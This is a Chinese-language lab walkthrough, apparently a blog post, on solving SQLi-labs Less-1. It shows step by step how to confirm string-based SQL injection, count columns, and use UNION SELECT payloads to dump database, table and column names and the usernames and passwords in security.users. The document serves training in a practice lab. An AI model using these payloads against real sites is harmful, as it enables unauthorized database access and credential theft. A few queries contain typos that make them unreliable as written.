Less(1)

几个常用的函数:

1.version()  -- Mysql版本

2.user()  --数据库用户名

3.database()  --数据库名

4.@@datadir  --数据库安装路径

5.@@version_compile_os  --操作系统的版本

常用的语句():

1.查询数据库的信息:select schema_name from information_schema.schemata

2.查询的信息:select table_name from information_schema.tables where table_schema='securty(表名)'

3.查询的信息:select column_name from informaion_schema.columns where table_name='表名'

4.查询字段:select username,password from security.users

字符串连接函数:

1.concat(字符串1,字符串2)   --没有分隔符的连接字符串

2.concat(-/~,字符串1,字符串2)  --含有分隔符的连接字符串

3.group_concat(字符串1,字符串2)    --连接一个组的所有字符串,并用,分隔每一个字

1.先判断注入类型

  

   (1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1

    

  (2)再输入?id=1'

    

    发现报错

   (3)输入?id=1''

    

     单引号报错,双引号正常显示,判断是字符型注入;

2.对列数进行判断  

    

  (1)输入?id=1' order by 1 --+(--+是注释语句)

    

    显示正常

  (2)输入?id=1' order by 2 --+

    

    显示正常

  (3)输入?id=1' order by 3 --+  

    

    显示正常

  (4)输入?id=1' order by 4 --+

    

     显示有问题

   (5)由此判断有3列

3.查看显示位,判断手注位置

  (1)输入?id=-1' union select 1,2,3 --+(使用 union 参数进行联合查询注入,union前面的参数报错才能执行union后面的数据,因此将 id = 1 改为 id = -1 开始进行注入)

    

   2,3为显示位,此时可在2,3位置进行手注

4.进行注入

  (1)查询所有的数据库:?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

    

  (2)注当前数据库名:?id=-1' union select 1,database(),3 --+

    

   (3)爆注册表。?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

    

   (4)注某张表的字段,这里以users为例:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

    

    

   (5)注字段的username,这里以users表为例:?id=-1' union select 1,group_concat(username),3 from security.users --+

    

  (6)注字段的password,这里以users表为例:?id=-1' union select 1,group_concat(password),3 from security.users --+

    

原文地址:https://www.cnblogs.com/meng-yu37/p/12077509.html